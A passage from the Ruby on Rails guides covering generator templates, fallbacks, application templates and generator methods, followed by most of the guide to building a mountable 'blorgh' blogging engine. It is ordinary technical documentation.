In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is lib/templates. Since we want to customize Rails::Generators::HelperGenerator, we can do that by simply making a template copy inside lib/templates/rails/helper with the name helper.rb. So let's create that file with the following content:

module <%= class_name %>Helper
attr_reader :<%= plural_name %>, :<%= plural_name.singularize %>
end

and revert the last change in config/application.rb:

config.generators do |g|
g.orm             :active_record
g.template_engine :erb
g.test_framework  :test_unit, fixture: false
g.stylesheets     false
g.javascripts     false
end

If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating edit.html.erb, index.html.erb and so on inside lib/templates/erb/scaffold.

Scaffold templates in Rails frequently use ERB tags; these tags need to be escaped so that the generated output is valid ERB code.

For example, the following escaped ERB tag would be needed in the template (note the extra %)...

<%%= stylesheet_include_tag :application %>

...to generate the following output:

<%= stylesheet_include_tag :application %>

7 Adding Generators Fallbacks

One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like shoulda does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a TestUnit generator if none was found under the Shoulda namespace.

We can easily simulate this behavior by changing our config/application.rb once again:

config.generators do |g|
g.orm             :active_record
g.template_engine :erb
g.test_framework  :shoulda, fixture: false
g.stylesheets     false
g.javascripts     false

# Add a fallback!
g.fallbacks[:shoulda] = :test_unit
end

Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:

$ bin/rails generate scaffold Comment body:text
invoke  active_record
create    db/migrate/20130924143118_create_comments.rb
create    app/models/comment.rb
invoke    shoulda
create      test/models/comment_test.rb
create      test/fixtures/comments.yml
invoke  resource_route
route    resources :comments
invoke  scaffold_controller
create    app/controllers/comments_controller.rb
invoke    erb
create      app/views/comments
create      app/views/comments/index.html.erb
create      app/views/comments/edit.html.erb
create      app/views/comments/show.html.erb
create      app/views/comments/new.html.erb
create      app/views/comments/_form.html.erb
invoke    shoulda
create      test/controllers/comments_controller_test.rb
invoke    my_helper
create      app/helpers/comments_helper.rb
invoke    jbuilder
create      app/views/comments/index.json.jbuilder
create      app/views/comments/show.json.jbuilder
invoke  assets
invoke    coffee
create      app/assets/javascripts/comments.coffee
invoke    scss

Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.

8 Application Templates

Now that you've seen how generators can be used inside an application, did you know they can also be used to generate applications too? This kind of generator is referred as a "template". This is a brief overview of the Templates API. For detailed documentation see the Rails Application Templates guide.

gem "rspec-rails", group: "test"
gem "cucumber-rails", group: "test"

if yes?("Would you like to install Devise?")
gem "devise"
generate "devise:install"
model_name = ask("What would you like the user model to be called? [user]")
model_name = "user" if model_name.blank?
generate "devise", model_name
end

In the above template we specify that the application relies on the rspec-rails and cucumber-rails gem so these two will be added to the test group in the Gemfile. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the Gemfile outside of any group and then runs the devise:install generator. This template then takes the users input and runs the devise generator, with the user's answer from the last question being passed to this generator.

Imagine that this template was in a file called template.rb. We can use it to modify the outcome of the rails new command by using the -m option and passing in the filename:

$ rails new thud -m template.rb

This command will generate the Thud application, and then apply the template to the generated output.

Templates don't have to be stored on the local system, the -m option also supports online templates:

$ rails new thud -m https://gist.github.com/radar/722911/raw/

Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.

9 Generator methods

The following are methods available for both generators and templates for Rails.

Methods provided by Thor are not covered this guide and can be found in Thor's documentation

9.1 gem

Specifies a gem dependency of the application.

gem "rspec", group: "test", version: "2.1.0"
gem "devise", "1.1.5"

Available options are:

- :group - The group in the Gemfile where this gem should go.

- :version - The version string of the gem you want to use. Can also be specified as the second argument to the method.

- :git - The URL to the git repository for this gem.

Any additional options passed to this method are put on the end of the line:

gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"

The above code will put the following line into Gemfile:

gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"

9.2 gem_group

Wraps gem entries inside a group:

gem_group :development, :test do
gem "rspec-rails"
end

9.3 add_source

Adds a specified source to Gemfile:

add_source "http://gems.github.com"

This method also takes a block:

add_source "http://gems.github.com" do
gem "rspec-rails"
end

9.4 inject_into_file

Injects a block of code into a defined position in your file.

inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY'
puts "Hello World"
RUBY
end

9.5 gsub_file

Replaces text inside a file.

gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'

Regular Expressions can be used to make this method more precise. You can also use append_file and prepend_file in the same way to place code at the beginning and end of a file respectively.

9.6 application

Adds a line to config/application.rb directly after the application class definition.

application "config.asset_host = 'http://example.com'"

This method can also take a block:

application do
"config.asset_host = 'http://example.com'"
end

Available options are:

- :env - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:

application(nil, env: "development") do
"config.asset_host = 'http://localhost:3000'"
end

9.7 git

Runs the specified git command:

git :init
git add: "."
git commit: "-m First commit!"
git add: "onefile.rb", rm: "badfile.cxx"

The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.

9.8 vendor

Places a file into vendor which contains the specified code.

vendor "sekrit.rb", '#top secret stuff'

This method also takes a block:

vendor "seeds.rb" do
"puts 'in your app, seeding your database'"
end

9.9 lib

Places a file into lib which contains the specified code.

lib "special.rb", "p Rails.root"

This method also takes a block:

lib "super_special.rb" do
puts "Super special!"
end

9.10 rakefile

Creates a Rake file in the lib/tasks directory of the application.

rakefile "test.rake", "hello there"

This method also takes a block:

rakefile "test.rake" do
%Q{
task rock: :environment do
puts "Rockin'"
end
}
end

9.11 initializer

Creates an initializer in the config/initializers directory of the application:

initializer "begin.rb", "puts 'this is the beginning'"

This method also takes a block, expected to return a string:

initializer "begin.rb" do
"puts 'this is the beginning'"
end

9.12 generate

Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.

generate "scaffold", "forums title:string description:text"

9.13 rake

Runs the specified Rake task.

rake "db:migrate"

Available options are:

- :env - Specifies the environment in which to run this rake task.

- :sudo - Whether or not to run this task using sudo. Defaults to false.

9.14 capify!

Runs the capify command from Capistrano at the root of the application which generates Capistrano configuration.

capify!

9.15 route

Adds text to the config/routes.rb file:

route "resources :people"

9.16 readme

Output the contents of a file in the template's source_path, usually a README.

readme "README"

Getting Started with Engines — Ruby on...

1 What are engines?

Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the Rails::Application class inheriting a lot of its behavior from Rails::Engine.

Therefore, engines and applications can be thought of almost the same thing, just with subtle differences, as you'll see throughout this guide. Engines and applications also share a common structure.

Engines are also closely related to plugins. The two share a common lib directory structure, and are both generated using the rails plugin new generator. The difference is that an engine is considered a "full plugin" by Rails (as indicated by the --full option that's passed to the generator command). We'll actually be using the --mountable option here, which includes all the features of --full, and then some. This guide will refer to these "full plugins" simply as "engines" throughout. An engine can be a plugin, and a plugin can be an engine.

The engine that will be created in this guide will be called "blorgh". This engine will provide blogging functionality to its host applications, allowing for new articles and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application.

Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as articles_path and use an engine also that provides a path also called articles_path, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.

It's important to keep in mind at all times that the application should always take precedence over its engines. An application is the object that has final say in what goes on in its environment. The engine should only be enhancing it, rather than changing it drastically.

To see demonstrations of other engines, check out Devise, an engine that provides authentication for its parent applications, or Forem, an engine that provides forum functionality. There's also Spree which provides an e-commerce platform, and RefineryCMS, a CMS engine.

Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!

2 Generating an engine

To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal:

$ rails plugin new blorgh --mountable

The full list of options for the plugin generator may be seen by typing:

$ rails plugin --help

The --mountable option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the --full option. The --full option tells the generator that you want to create an engine, including a skeleton structure that provides the following:

- An app directory tree

- A config/routes.rb file:

Rails.application.routes.draw do
end

- A file at lib/blorgh/engine.rb, which is identical in function to a standard Rails application's config/application.rb file:

module Blorgh
class Engine < ::Rails::Engine
end
end

The --mountable option will add to the --full option:

- Asset manifest files (application.js and application.css)

- A namespaced ApplicationController stub

- A namespaced ApplicationHelper stub

- A layout view template for the engine

- Namespace isolation to config/routes.rb:

Blorgh::Engine.routes.draw do
end

- Namespace isolation to lib/blorgh/engine.rb:

module Blorgh
class Engine < ::Rails::Engine
isolate_namespace Blorgh
end
end

Additionally, the --mountable option tells the generator to mount the engine inside the dummy testing application located at test/dummy by adding the following to the dummy application's routes file at test/dummy/config/routes.rb:

mount Blorgh::Engine => "/blorgh"

2.1 Inside an Engine

2.1.1 Critical Files

At the root of this brand new engine's directory lives a blorgh.gemspec file. When you include the engine into an application later on, you will do so with this line in the Rails application's Gemfile:

gem 'blorgh', path: 'engines/blorgh'

Don't forget to run bundle install as usual. By specifying it as a gem within the Gemfile, Bundler will load it as such, parsing this blorgh.gemspec file and requiring a file within the lib directory called lib/blorgh.rb. This file requires the blorgh/engine.rb file (located at lib/blorgh/engine.rb) and defines a base module called Blorgh.

require "blorgh/engine"

module Blorgh
end

Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, so if you want to offer configuration options, the file where your engine's module is defined is perfect for that. Place the methods inside the module and you'll be good to go.

Within lib/blorgh/engine.rb is the base class for the engine:

module Blorgh
class Engine < ::Rails::Engine
isolate_namespace Blorgh
end
end

By inheriting from the Rails::Engine class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the app directory of the engine to the load path for models, mailers, controllers and views.

The isolate_namespace method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts is helpers. Without calling isolate_namespace, the engine's helpers would be included in an application's controllers.

It is highly recommended that the isolate_namespace line be left within the Engine class definition. Without it, classes generated in an engine may conflict with an application.

What this isolation of the namespace means is that a model generated by a call to bin/rails g model, such as bin/rails g model article, won't be called Article, but instead be namespaced and called Blorgh::Article. In addition, the table for the model is namespaced, becoming blorgh_articles, rather than simply articles. Similar to the model namespacing, a controller called ArticlesController becomes Blorgh::ArticlesController and the views for that controller will not be at app/views/articles, but app/views/blorgh/articles instead. Mailers are namespaced as well.

Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the Routes section of this guide.

2.1.2 app Directory

Inside the app directory are the standard assets, controllers, helpers, mailers, models and views directories that you should be familiar with from an application. The helpers, mailers and models directories are empty, so they aren't described in this section. We'll look more into models in a future section, when we're writing the engine.

Within the app/assets directory, there are the images, javascripts and stylesheets directories which, again, you should be familiar with due to their similarity to an application. One difference here, however, is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.

Within the app/controllers directory there is a blorgh directory that contains a file called application_controller.rb. This file will provide any common functionality for the controllers of the engine. The blorgh directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.

The ApplicationController class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines.

Because of the way that Ruby does constant lookup you may run into a situation where your engine controller is inheriting from the main application controller and not your engine's application controller. Ruby is able to resolve the ApplicationController constant, and therefore the autoloading mechanism is not triggered. See the section When Constants Aren't Missed of the Autoloading and Reloading Constants guide for further details. The best way to prevent this from happening is to use require_dependency to ensure that the engine's application controller is loaded. For example:

# app/controllers/blorgh/articles_controller.rb:
require_dependency "blorgh/application_controller"

module Blorgh
class ArticlesController < ApplicationController
...
end
end

Don't use require because it will break the automatic reloading of classes in the development environment - using require_dependency ensures that classes are loaded and unloaded in the correct manner.

Lastly, the app/views directory contains a layouts folder, which contains a file at blorgh/application.html.erb. This file allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's app/views/layouts/application.html.erb file.

If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.

2.1.3 bin Directory

This directory contains one file, bin/rails, which enables you to use the rails sub-commands and generators just like you would within an application. This means that you will be able to generate new controllers and models for this engine very easily by running commands like this:

$ bin/rails g model

Keep in mind, of course, that anything generated with these commands inside of an engine that has isolate_namespace in the Engine class will be namespaced.

2.1.4 test Directory

The test directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at test/dummy. This application will mount the engine in the test/dummy/config/routes.rb file:

Rails.application.routes.draw do
mount Blorgh::Engine => "/blorgh"
end

This line mounts the engine at the path /blorgh, which will make it accessible through the application only at that path.

Inside the test directory there is the test/integration directory, where integration tests for the engine should be placed. Other directories can be created in the test directory as well. For example, you may wish to create a test/models directory for your model tests.

3 Providing engine functionality

The engine that this guide covers provides submitting articles and commenting functionality and follows a similar thread to the Getting Started Guide, with some new twists.

3.1 Generating an Article Resource

The first thing to generate for a blog engine is the Article model and related controller. To quickly generate this, you can use the Rails scaffold generator.

$ bin/rails generate scaffold article title:string text:text

This command will output this information:

invoke  active_record
create    db/migrate/[timestamp]_create_blorgh_articles.rb
create    app/models/blorgh/article.rb
invoke    test_unit
create      test/models/blorgh/article_test.rb
create      test/fixtures/blorgh/articles.yml
invoke  resource_route
route    resources :articles
invoke  scaffold_controller
create    app/controllers/blorgh/articles_controller.rb
invoke    erb
create      app/views/blorgh/articles
create      app/views/blorgh/articles/index.html.erb
create      app/views/blorgh/articles/edit.html.erb
create      app/views/blorgh/articles/show.html.erb
create      app/views/blorgh/articles/new.html.erb
create      app/views/blorgh/articles/_form.html.erb
invoke    test_unit
create      test/controllers/blorgh/articles_controller_test.rb
invoke    helper
create      app/helpers/blorgh/articles_helper.rb
invoke  assets
invoke    js
create      app/assets/javascripts/blorgh/articles.js
invoke    css
create      app/assets/stylesheets/blorgh/articles.css
invoke  css
create    app/assets/stylesheets/scaffold.css

The first thing that the scaffold generator does is invoke the active_record generator, which generates a migration and a model for the resource. Note here, however, that the migration is called create_blorgh_articles rather than the usual create_articles. This is due to the isolate_namespace method called in the Blorgh::Engine class's definition. The model here is also namespaced, being placed at app/models/blorgh/article.rb rather than app/models/article.rb due to the isolate_namespace call within the Engine class.

Next, the test_unit generator is invoked for this model, generating a model test at test/models/blorgh/article_test.rb (rather than test/models/article_test.rb) and a fixture at test/fixtures/blorgh/articles.yml (rather than test/fixtures/articles.yml).

After that, a line for the resource is inserted into the config/routes.rb file for the engine. This line is simply resources :articles, turning the config/routes.rb file for the engine into this:

Blorgh::Engine.routes.draw do
resources :articles
end

Note here that the routes are drawn upon the Blorgh::Engine object rather than the YourApp::Application class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the test directory section. It also causes the engine's routes to be isolated from those routes that are within the application. The Routes section of this guide describes it in detail.

Next, the scaffold_controller generator is invoked, generating a controller called Blorgh::ArticlesController (at app/controllers/blorgh/articles_controller.rb) and its related views at app/views/blorgh/articles. This generator also generates a test for the controller (test/controllers/blorgh/articles_controller_test.rb) and a helper (app/helpers/blorgh/articles_helper.rb).

Everything this generator has created is neatly namespaced. The controller's class is defined within the Blorgh module:

module Blorgh
class ArticlesController < ApplicationController
...
end
end

The ArticlesController class inherits from Blorgh::ApplicationController, not the application's ApplicationController.

The helper inside app/helpers/blorgh/articles_helper.rb is also namespaced:

module Blorgh
module ArticlesHelper
...
end
end

This helps prevent conflicts with any other engine or application that may have an article resource as well.

Finally, the assets for this resource are generated in two files: app/assets/javascripts/blorgh/articles.js and app/assets/stylesheets/blorgh/articles.css. You'll see how to use these a little later.

You can see what the engine has so far by running bin/rails db:migrate at the root of our engine to run the migration generated by the scaffold generator, and then running rails server in test/dummy. When you open http://localhost:3000/blorgh/articles you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.

If you'd rather play around in the console, rails console will also work just like a Rails application. Remember: the Article model is namespaced, so to reference it you must call it as Blorgh::Article.

>> Blorgh::Article.find(1)
=> #<Blorgh::Article id: 1 ...>

One final thing is that the articles resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of articles. This can be made to happen if this line is inserted into the config/routes.rb file inside the engine:

root to: "articles#index"

Now people will only need to go to the root of the engine to see all the articles, rather than visiting /articles. This means that instead of http://localhost:3000/blorgh/articles, you only need to go to http://localhost:3000/blorgh now.

3.2 Generating a Comments Resource

Now that the engine can create new articles, it only makes sense to add commenting functionality as well. To do this, you'll need to generate a comment model, a comment controller and then modify the articles scaffold to display comments and allow people to create new ones.

From the application root, run the model generator. Tell it to generate a Comment model, with the related table having two columns: an article_id integer and text text column.

$ bin/rails generate model Comment article_id:integer text:text

This will output the following:

invoke  active_record
create    db/migrate/[timestamp]_create_blorgh_comments.rb
create    app/models/blorgh/comment.rb
invoke    test_unit
create      test/models/blorgh/comment_test.rb
create      test/fixtures/blorgh/comments.yml

This generator call will generate just the necessary model files it needs, namespacing the files under a blorgh directory and creating a model class called Blorgh::Comment. Now run the migration to create our blorgh_comments table:

$ bin/rails db:migrate

To show the comments on an article, edit app/views/blorgh/articles/show.html.erb and add this line before the "Edit" link:

<h3>Comments</h3>
<%= render @article.comments %>

This line will require there to be a has_many association for comments defined on the Blorgh::Article model, which there isn't right now. To define one, open app/models/blorgh/article.rb and add this line into the model:

has_many :comments

Turning the model into this:

module Blorgh
class Article < ApplicationRecord
has_many :comments
end
end

Because the has_many is defined inside a class that is inside the Blorgh module, Rails will know that you want to use the Blorgh::Comment model for these objects, so there's no need to specify that using the :class_name option here.

Next, there needs to be a form so that comments can be created on an article. To add this, put this line underneath the call to render @article.comments in app/views/blorgh/articles/show.html.erb:

<%= render "blorgh/comments/form" %>

Next, the partial that this line will render needs to exist. Create a new directory at app/views/blorgh/comments and in it a new file called _form.html.erb which has this content to create the required partial:

<h3>New comment</h3>
<%= form_for [@article, @article.comments.build] do |f| %>
<p>
<%= f.label :text %><br>
<%= f.text_area :text %>
</p>
<%= f.submit %>
<% end %>

When this form is submitted, it is going to attempt to perform a POST request to a route of /articles/:article_id/comments within the engine. This route doesn't exist at the moment, but can be created by changing the resources :articles line inside config/routes.rb into these lines:

resources :articles do
resources :comments
end

This creates a nested route for the comments, which is what the form requires.

The route now exists, but the controller that this route goes to does not. To create it, run this command from the application root:

$ bin/rails g controller comments

This will generate the following things:

create  app/controllers/blorgh/comments_controller.rb
invoke  erb
exist    app/views/blorgh/comments
invoke  test_unit
create    test/controllers/blorgh/comments_controller_test.rb
invoke  helper
create    app/helpers/blorgh/comments_helper.rb
invoke  assets
invoke    js
create      app/assets/javascripts/blorgh/comments.js
invoke    css
create      app/assets/stylesheets/blorgh/comments.css

The form will be making a POST request to /articles/:article_id/comments, which will correspond with the create action in Blorgh::CommentsController. This action needs to be created, which can be done by putting the following lines inside the class definition in app/controllers/blorgh/comments_controller.rb:

def create
@article = Article.find(params[:article_id])
@comment = @article.comments.create(comment_params)
flash[:notice] = "Comment has been created!"
redirect_to articles_path
end

private
def comment_params
params.require(:comment).permit(:text)
end

This is the final step required to get the new comment form working. Displaying the comments, however, is not quite right yet. If you were to create a comment right now, you would see this error:

Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder],
:formats=>[:html], :locale=>[:en, :en]}. Searched in:   *
"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"   *
"/Users/ryan/Sites/side_projects/blorgh/app/views"

The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (test/dummy) app/views directory and then in the engine's app/views directory. When it can't find it, it will throw this error. The engine knows to look for blorgh/comments/_comment because the model object it is receiving is from the Blorgh::Comment class.

This partial will be responsible for rendering just the comment text, for now. Create a new file at app/views/blorgh/comments/_comment.html.erb and put this line inside it:

<%= comment_counter + 1 %>. <%= comment.text %>

The comment_counter local variable is given to us by the <%= render @article.comments %> call, which will define it automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.

That completes the comment function of the blogging engine. Now it's time to use it within an application.

4 Hooking Into an Application

Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a User class provided by the application to provide ownership for articles and comments within the engine.

4.1 Mounting the Engine

First, the engine needs to be specified inside the application's Gemfile. If there isn't an application handy to test this out in, generate one using the rails new command outside of the engine directory like this:

$ rails new unicorn

Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.

gem 'devise'

However, because you are developing the blorgh engine on your local machine, you will need to specify the :path option in your Gemfile:

gem 'blorgh', path: 'engines/blorgh'

Then run bundle to install the gem.

As described earlier, by placing the gem in the Gemfile it will be loaded when Rails is loaded. It will first require lib/blorgh.rb from the engine, then lib/blorgh/engine.rb, which is the file that defines the major pieces of functionality for the engine.

To make the engine's functionality accessible from within an application, it needs to be mounted in that application's config/routes.rb file:

mount Blorgh::Engine, at: "/blog"

This line will mount the engine at /blog in the application. Making it accessible at http://localhost:3000/blog when the application runs with rails server.

Other engines, such as Devise, handle this a little differently by making you specify custom helpers (such as devise_for) in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.

4.2 Engine setup

The engine contains migrations for the blorgh_articles and blorgh_comments table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application run the following command from the test/dummy directory of your Rails engine:

$ bin/rails blorgh:install:migrations

If you have multiple engines that need migrations copied over, use railties:install:migrations instead:

$ bin/rails railties:install:migrations

This command, when run for the first time, will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:

Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb from blorgh
Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh

The first timestamp ([timestamp_1]) will be the current time, and the second timestamp ([timestamp_2]) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.

To run these migrations within the context of the application, simply run bin/rails db:migrate. When accessing the engine through http://localhost:3000/blog, the articles will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.

If you would like to run migrations only from one engine, you can do it by specifying SCOPE:

bin/rails db:migrate SCOPE=blorgh

This may be useful if you want to revert engine's migrations before removing it. To revert all migrations from blorgh engine you can run code such as:

bin/rails db:migrate SCOPE=blorgh VERSION=0

4.3 Using a Class Provided by the Application

4.3.1 Using a Model Provided by the Application

When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the blorgh engine, making articles and comments have authors would make a lot of sense.

A typical application might have a User class that would be used to represent authors for an article or a comment. But there could be a case where the application calls this class something different, such as Person. For this reason, the engine should not hardcode associations specifically for a User class.

To keep it simple in this case, the application will have a class called User that represents the users of the application (we'll get into making this configurable further on). It can be generated using this command inside the application:

rails g model user name:string

The bin/rails db:migrate command needs to be run here to ensure that our application has the users table for future use.

Also, to keep it simple, the articles form will have a new text field called author_name, where users can elect to put their name. The engine will then take this name and either create a new User object from it, or find one that already has that name. The engine will then associate the article with the found or created User object.

First, the author_name text field needs to be added to the app/views/blorgh/articles/_form.html.erb partial inside the engine. This can be added above the title field with this code:

<div class="field">
<%= f.label :author_name %><br>
<%= f.text_field :author_name %>
</div>

Next, we need to update our Blorgh::ArticleController#article_params method to permit the new form parameter:

def article_params
params.require(:article).permit(:title, :text, :author_name)
end

The Blorgh::Article model should then have some code to convert the author_name field into an actual User object and associate it as that article's author before the article is saved. It will also need to have an attr_accessor set up for this field, so that the setter and getter methods are defined for it.

To do all this, you'll need to add the attr_accessor for author_name, the association for the author and the before_validation call into app/models/blorgh/article.rb. The author association will be hard-coded to the User class for the time being.

attr_accessor :author_name
belongs_to :author, class_name: "User"

before_validation :set_author

private
def set_author
self.author = User.find_or_create_by(name: author_name)
end

By representing the author association's object with the User class, a link is established between the engine and the application. There needs to be a way of associating the records in the blorgh_articles table with the records in the users table. Because the association is called author, there should be an author_id column added to the blorgh_articles table.

To generate this new column, run this command within the engine:

$ bin/rails g migration add_author_id_to_blorgh_articles author_id:integer

Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.

This migration will need to be run on the application. To do that, it must first be copied using this command:

$ bin/rails blorgh:install:migrations

Notice that only one migration was copied over here. This is because the first two migrations were copied over the first time this command was run.

NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blorgh

Run the migration using:

$ bin/rails db:migrate

Now with all the pieces in place, an action will take place that will associate an author - represented by a record in the users table - with an article, represented by the blorgh_articles table from the engine.

Finally, the author's name should be displayed on the article's page. Add this code above the "Title" output inside app/views/blorgh/articles/show.html.erb:

<p>
<b>Author:</b>
<%= @article.author.name %>
</p>

4.3.2 Using a Controller Provided by the Application

Because Rails controllers generally share code for things like authentication and accessing session variables, they inherit from ApplicationController by default. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped ApplicationController. This namespace prevents code collisions, but often engine controllers need to access methods in the main application's ApplicationController. An easy way to provide this access is to change the engine's scoped ApplicationController to inherit from the main application's ApplicationController. For our Blorgh engine this would be done by changing app/controllers/blorgh/application_controller.rb to look like:

module Blorgh
class ApplicationController < ::ApplicationController
end
end

By default, the engine's controllers inherit from Blorgh::ApplicationController. So, after making this change they will have access to the main application's ApplicationController, as though they were part of the main application.

This change does require that the engine is run from a Rails application that has an ApplicationController.

4.4 Configuring an Engine

This section covers how to make the User class configurable, followed by general configuration tips for the engine.

4.4.1 Setting Configuration Settings in the Application

The next step is to make the class that represents a User in the application customizable for the engine. This is because that class may not always be User, as previously explained. To make this setting customizable, the engine will have a configuration setting called author_class that will be used to specify which class represents users inside the application.

To define this configuration setting, you should use a mattr_accessor inside the Blorgh module for the engine. Add this line to lib/blorgh.rb inside the engine:

mattr_accessor :author_class

This method works like its brothers, attr_accessor and cattr_accessor, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using Blorgh.author_class.

The next step is to switch the Blorgh::Article model over to this new setting. Change the belongs_to association inside this model (app/models/blorgh/article.rb) to this:

belongs_to :author, class_name: Blorgh.author_class

The set_author method in the Blorgh::Article model should also use this class:

self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)

To save having to call constantize on the author_class result all the time, you could instead just override the author_class getter method inside the Blorgh module in the lib/blorgh.rb file to always call constantize on the saved value before returning the result:

def self.author_class
@@author_class.constantize
end

This would then turn the above code for set_author into this:

self.author = Blorgh.author_class.find_or_create_by(name: author_name)

Resulting in something a little shorter, and more implicit in its behavior. The author_class method should always return a Class object.

Since we changed the author_class method to return a Class instead of a String, we must also modify our belongs_to definition in the Blorgh::Article model:

belongs_to :author, class_name: Blorgh.author_class.to_s

To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models, which may depend on this configuration setting existing.

Create a new initializer at config/initializers/blorgh.rb inside the application where the blorgh engine is installed and put this content in it:

Blorgh.author_class = "User"

It's very important here to use the String version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table. This could lead to problems if the table wasn't already existing. Therefore, a String should be used and then converted to a class using constantize in the engine later on.

Go ahead and try to create a new article. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in config/initializers/blorgh.rb to learn what the class is.

There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a find_or_create_by method which returns an object of that class, to be associated with an article when it's created. This object, of course, should have some sort of identifier by which it can be referenced.

4.4.2 General Engine Configuration

Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible, because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!

If you wish to use an initializer - code that should run before the engine is loaded - the place for it is the config/initializers folder. This directory's functionality is explained in the Initializers section of the Configuring guide, and works precisely the same way as the config/initializers directory inside an application. The same thing goes if you want to use a standard initializer.

For locales, simply place the locale files in the config/locales directory, just like you would in an application.

5 Testing an engine

When an engine is generated, there is a smaller dummy application created inside it at test/dummy. This application is used as a mounting point for the engine, to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine.

The test directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests.

5.1 Functional Tests

A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application - the test/dummy application - rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical GET to a controller in a controller's functional test like this:

module Blorgh
class FooControllerTest < ActionDispatch::IntegrationTest
include Engine.routes.url_helpers

def test_index
get foos_url
...
end
end
end

It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it how. To do this, you must set the @routes instance variable to the engine's route set in your setup code:

module Blorgh
class FooControllerTest < ActionDispatch::IntegrationTest
include Engine.routes.url_helpers

setup do
@routes = Engine.routes
end

def test_index
get foos_url
...
end
end
end

This tells the application that you still want to perform a GET request to the index action of this controller, but you want to use the engine's route to get there, rather than the application's one.

This also ensures that the engine's URL helpers will work as expected in your tests.

6 Improving engine functionality

